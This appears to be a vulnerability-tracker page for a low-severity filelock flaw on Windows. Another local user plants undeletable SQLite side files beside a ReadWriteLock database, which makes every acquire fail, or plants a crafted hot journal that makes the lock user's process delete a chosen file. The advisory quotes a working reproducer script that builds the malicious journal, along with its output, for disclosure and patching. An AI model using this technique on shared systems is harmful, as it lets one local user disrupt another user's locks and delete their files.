CVE-2026-112913

LOWPre-NVD 3.33.3
EchelonGraph scoreHIGH confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 3.3 from GitHub Security Advisory (severity: LOW) published 2026-10-23. The CNA's CVSS baseline 3.3; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-9vhv-jxww-xfm5 (GitHub Security Advisories)

3.3EG
EchelonGraph verdictMonitorRemediate within your standard update timelines (the SSVC decision on this page).
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 3.3Exploit: None knownExposed services: Not assessed

A fixed version is listed under Patch Availability — apply it.

filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database

On Windows, ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: -journal, the rollback journal (pages saved to undo an interrupted write); -wal, the write-ahead log (changes kept outside the main file); and -shm, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone DELETE on it, which a file's creator may do. C:\Windows\Temp (the temporary directory of services, granting BUILTIN\Users create but not delete) and C:\Users\Public are such directories.

With a -wal in place, every read_lock() and write_lock() of the user running the lock (below: the lock user) raises sqlite3.OperationalError: disk I/O error at once, whatever timeout says, until that account removes its file; the lock user cannot. With a -journal beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L scores 3.3 (Low).

AV:L (local): the other account needs a logon on the same host. AC:L (low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier. PR:L (low privileges): an ordinary account that can create files in the directory is enough. UI:N (no user interaction). S:U (scope unchanged). C:N (no confidentiality impact): the other account learns nothing. I:N (no integrity impact in the scored variant): see the scoring note. A:L (partial availability impact): every acquire fails with an exception that Timeout handlers do not catch, until the other account removes its file; no crash, and the lock's own data is not changed.

Scoring note. The deletion variant reads CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L (3.6): I:L because the lock user's process deletes one file the journal names, AC:H because it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches every ReadWriteLock on Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: security (another account), availability for the scored variant.

Scope and preconditions

  • Platform and classes: Windows only. ReadWriteLock and AsyncReadWriteLock, both of which connect through _connect. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8.
  • Directory: one where another account can create files but cannot delete the lock user's. C:\Windows\Temp carries BUILTIN\Users:(CI)(S,WD,AD,X) (create file and create subdirectory, no delete child); C:\Users\Public and any directory with such an entry qualify. A directory only the lock user can write, such as %LOCALAPPDATA% or the per-user temporary directory, is not affected.
  • The other account creates -wal, grants everyone modify and denies everyone DELETE on it. A file's creator may set both. The lock user can open and read the file but not delete it.
  • Deletion variant: the lock database holds at least one table (filelock creates an empty database, and the review's reproducer has the lock account create the table), and the other account's -journal grants the lock account modify rights. The journal's tail names a file the lock user can delete.
  • What the lock user sees: write_lock(timeout=1) raised sqlite3.OperationalError: disk I/O error with the undeletable -wal in place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raised sqlite3.OperationalError: unable to open database file.
  • The documentation at the scanned commit states "the lock directory must not be writable by untrusted users" for WindowsFileLock, in its symlink paragraph; the ReadWriteLock documentation names no directory requirement on Windows.

Affected code

Scanned commit b831496b0273: the Windows branch of _connect checks the database through a handle and then calls sqlite3.connect(database, ...) with the path. _open_lock_database and _raise_if_wal inspect that handle, not the side files. The first statement is PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY; at L816. _do_acquire_inner at L763 turns only "database is locked" into Timeout; any other sqlite3.OperationalError leaves the acquire.

Introduced

cfd4446 "feat(lock): add SQLite-based ReadWriteLock" (#399, 2026-02-12), first tag 3.20.4 (verified with git tag --contains), passed the lock path to sqlite3.connect on every platform. The Linux descriptor route (4.0.9) and the macOS hard-link route (4.1.1) did not change Windows, where the connect has been by name in every release since. The reproducer ran against the head of PR #834 at 1f9e415, whose Windows branch of _connect is the same code as at b831496b0273.

Mechanism

_connect on Windows opens the database with _open_non_reparse_fd, checks through that handle that the file is a regular file, not a reparse point, and that its header does not declare WAL mode, and keeps the handle open while sqlite3.connect(database) opens the same name. The check covers the database, not the names beside it. On the first statement, PRAGMA journal_mode=MEMORY, SQLite takes its first lock on the database and looks for -wal. A non-empty -wal beside a database that is not in WAL mode is a leftover SQLite deletes. The other account's file denies DELETE, so the pragma raises SQLITE_IOERR_DELETE, which reaches the caller as sqlite3.OperationalError: disk I/O error. _do_acquire_inner converts only "database is locked" into Timeout, so acquire_read(), acquire_write() and the async forms raise at once, on every call, until the file is gone. The lock user has no right to delete it.

The journal variant needs a database with content. Beside a non-empty database SQLite treats a -journal with a valid header as hot (left by an interrupted write) and replays it before the first statement runs. The review's journal is 46 bytes: a file path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. That tail names a super-journal, and recovery ends by deleting the file it names. The lock user's write_lock() therefore deletes one file the other account chose, provided the lock user can delete it, and returns without error. SQLite opens a hot journal for writing, so the other account's journal must grant the lock account modify rights; a read-only journal makes every acquire raise sqlite3.OperationalError: unable to open database file instead. GHSA-v4x8-3wr5-3wq8 describes the same side-file behavior on POSIX, where the sticky bit plays the part the directory ACL plays here.

Reproduction

The review's reproducer, quoted as received except for the second account's password on line 2, replaced by `. It ran on a Windows 11 VM (NTFS, CPython 3.14, SQLite 3.53.1) against the head of PR #834 at 1f9e415, as the administrator account bernat, which stands in for the other account that creates the side files; the lock account is fltester, a member of Users, whose database lives in C:\Windows\Temp.

win_two_accounts.py

# Run from /tmp/claude-1000/-home-bernat-git-filelock-filelock-main/3ccf38c2-14f9-4acc-a05f-18230504d7cd/scratchpad/review4/D/834 (the script is staged there):

winvm up && winvm sync && winvm run "python3.14 -I win_two_accounts.py . fltester ''"

which runs, as the administrator account on the VM:

python3.14 -I win_two_accounts.py

The second (non-administrator) account is the lock user. Its database lives in C:\Windows\Temp, where every account

may create files but not delete another account's. This administrator account stands in for the other account that

plants SQLite side files there: it creates them, grants everyone read, and denies everyone delete, all of which the

file's creator may do.

import ctypes import os import pathlib import sqlite3 import struct import subprocess import sys from ctypes import wintypes

sys.path.insert(0, sys.argv[1] + "/src") from filelock import ReadWriteLock

user, password = sys.argv[2], sys.argv[3] base = pathlib.Path(os.environ["SYSTEMROOT"]) / "Temp" icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe") tag = f"rw834-{os.getpid()}" advapi32 = ctypes.WinDLL("advapi32", use_last_error=True) advapi32.LogonUserW.argtypes = [wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)] advapi32.GetUserNameW.argtypes = [wintypes.LPWSTR, ctypes.POINTER(wintypes.DWORD)] token = wintypes.HANDLE() if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)): raise ctypes.WinError(ctypes.get_last_error())

def current_user() -> str: size = wintypes.DWORD(256) buffer = ctypes.create_unicode_buffer(size.value) advapi32.GetUserNameW(buffer, ctypes.byref(size)) return buffer.value

def as_lock_user(action): if not advapi32.ImpersonateLoggedOnUser(token): raise ctypes.WinError(ctypes.get_last_error()) try: return action() finally: advapi32.RevertToSelf()

def plant(path: pathlib.Path, data: bytes, *, deletable: bool) -> None: path.write_bytes(data) subprocess.run([icacls, str(path), "/grant", "*S-1-1-0:(M)"], check=True, capture_output=True) if not deletable: subprocess.run([icacls, str(path), "/deny", "*S-1-1-0:(D)"], check=True, capture_output=True)

def acquire(db: pathlib.Path) -> str: try: with ReadWriteLock(db, is_singleton=False).write_lock(timeout=1): pass except Exception as error: return f"acquire failed: {type(error).__name__}: {error}" return "acquired"

def hot_journal(super_journal: pathlib.Path) -> bytes: name = os.fsencode(str(super_journal)) return name + struct.pack(">II", len(name), sum(name)) + bytes.fromhex("d9d505f920a163d7")

print("planting account:", current_user(), "| lock account:", as_lock_user(current_user))

db = base / f"{tag}-empty.db" as_lock_user(lambda: db.touch()) plant(pathlib.Path(f"{db}-wal"), b"\0" * 32, deletable=False) print("empty database, undeletable -wal:", as_lock_user(lambda: acquire(db)), "| -wal still exists:", pathlib.Path(f"{db}-wal").exists())

for deletable in (True, False): db = base / f"{tag}-tables-{deletable}.db" notes = base / f"{tag}-notes-{deletable}.txt"

def prepare() -> None: with sqlite3.connect(db) as connection: connection.execute("CREATE TABLE application (value)") connection.close() notes.write_text("keep")

as_lock_user(prepare) plant(pathlib.Path(f"{db}-journal"), hot_journal(notes), deletable=deletable) print(f"database with a table, {'deletable' if deletable else 'undeletable'} -journal naming the lock account's file:", as_lock_user(lambda: acquire(db)), "| named file still exists:", notes.exists(), "| -journal still exists:", pathlib.Path(f"{db}-journal").exists())

Recorded output on the VM:

planting account: bernat | lock account: fltester
empty database, undeletable -wal: acquire failed: OperationalError: disk I/O error | -wal still exists: True
database with a table, deletable -journal naming the lock account's file: acquired | named file still exists: False | -journal still exists: False
database with a table, undeletable -journal naming the lock account's file: acquire failed: OperationalError: unable to open database file | named file still exists: True | -journal still exists: True

Failure sequence

flowchart TD
    P["other account: create lock.db-wal (or lock.db-journal) beside lock.db in C:/Windows/Temp, grant everyone modify, deny everyone DELETE"] --> C["lock user: ReadWriteLock(lock.db).write_lock(timeout=1)"]
    C --> O["_open_lock_database checks the handle: regular file, no reparse point, header not WAL"]
    O --> S["sqlite3.connect(lock.db) by path, then PRAGMA journal_mode=MEMORY"]
    S -- "empty database, undeletable -wal" --> E1["SQLite cannot delete the leftover -wal: OperationalError disk I/O error on every acquire, timeout not consulted"]
    S -- "database with a table, writable -journal" --> E2["SQLite treats the journal as hot, replays it and deletes the file its tail names, acquire succeeds"]
    S -- "database with a table, read-only -journal" --> E3["OperationalError unable to open database file on every acquire"]
    classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;
    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;
    classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;
    class P,C,O,S info;
    class E1,E2,E3 bad;

Evidence

The reproducer printed the three lines above on the VM: the undeletable -wal beside an empty database made write_lock(timeout=1) fail with OperationalError: disk I/O error and left the file in place; the writable journal beside a database with one table let the acquire succeed while the file the journal named, created by the lock account with the content keep, was gone along with the journal; the read-only journal made the acquire fail with OperationalError: unable to open database file and left both files. The review notes that the Windows branch of _connect is unchanged since #399, so the behavior is the same at b831496b0273 and in 4.2.0. The scanner and the maintainers measured the same side-file effects on Linux for GHSA-v4x8-3wr5-3wq8.

Impact

In a directory such as C:\Windows\Temp, another local account turns every read_lock() and write_lock() on a ReadWriteLock database into an immediate sqlite3.OperationalError, for as long as its file stays. Callers that handle Timeout or OSError do not catch it, and the lock user cannot remove the file. With a lock database that holds a table and a journal the lock user can write, the lock user's process deletes one file of the other account's choosing, among the files the lock user may delete, and the acquire reports success. The lock's own database is not changed, nothing is read, and mutual exclusion between processes that acquire the lock holds.

Workarounds

  • Keep the ReadWriteLock database in a directory other accounts cannot create files in: %LOCALAPPDATA%, the per-user temporary directory (%TEMP% of a user session), or a directory with inheritance removed and only the owner, SYSTEM and Administrators granted. C:\Windows\Temp and C:\Users\Public do not qualify.
  • Treat sqlite3.OperationalError: disk I/O error on every acquire as a foreign -wal` beside the database, which only its creator or an administrator can remove.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/854

Credits

Found by the maintainers while reviewing the fix for the POSIX form of this defect, GHSA-v4x8-3wr5-3wq8, reported by Anthropic's OSS Scanner on 15 October 2026 (review round 4, set D, finding F2).

  • 2026-10-15 23:08 UTC: report received (36 findings; the Windows side-file effect is not among them)
  • 2026-10-16 01:15 UTC: PR #834 opened, for the POSIX routes
  • 2026-10-16 08:31 UTC: finding identified in the maintainers' review of PR #834
  • 2026-10-16 22:43 UTC: draft advisory created

CVSS v3
3.3
EG Score
3.3LOWhigh confidence
EG Risk
15
EG Risk 15/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity33% × 45%
Impact severity (EG Severity): CVSS 3.3 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fixed version is listed under Patch Availability. Apply it within your standard update timelines.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (3.3): severity, escalated by confirmed exploitation. This CVE's 3.3 is its impact severity (EG Severity), not escalated.

EG Severity
3.3 LOWCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

A fixed version is listed under Patch Availability. Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

October 23, 2026

Last Modified

October 23, 2026

Vendor Advisories for CVE-2026-112913(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
pipfilelock @ 4.2.1 (fixes >= 3.20.4, <= 4.2.0)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 3× in last 7d / 4× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:59 UTCGHSA enrichmentGHSA-9vhv-jxww-xfm5 · GitHub severity LOW · GitHub CVSS 3.3
  2. 2026-11-01 07:59 UTCEG score recompute
  3. 2026-10-25 14:51 UTCEG score recompute
  4. 2026-10-23 23:21 UTCEG score recomputeFirst assessed: 3.3 LOW

Frequently asked(4)

What is CVE-2026-112913?
CVE-2026-112913 is a low-severity vulnerability; its CVE record was published on October 23, 2026. filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database On Windows, ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files…
When was the CVE record for CVE-2026-112913 published?
The CVE record for CVE-2026-112913 was published on October 23, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of October 23, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-112913?
CVE-2026-112913 has a CVSS base score of 3.3 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-112913?
A fixed version for CVE-2026-112913 is listed under Patch Availability on this page: update to the version listed for your package. The vendor advisories EchelonGraph has for CVE-2026-112913 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-112913

Explore →

Is Your Infrastructure Affected by CVE-2026-112913?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.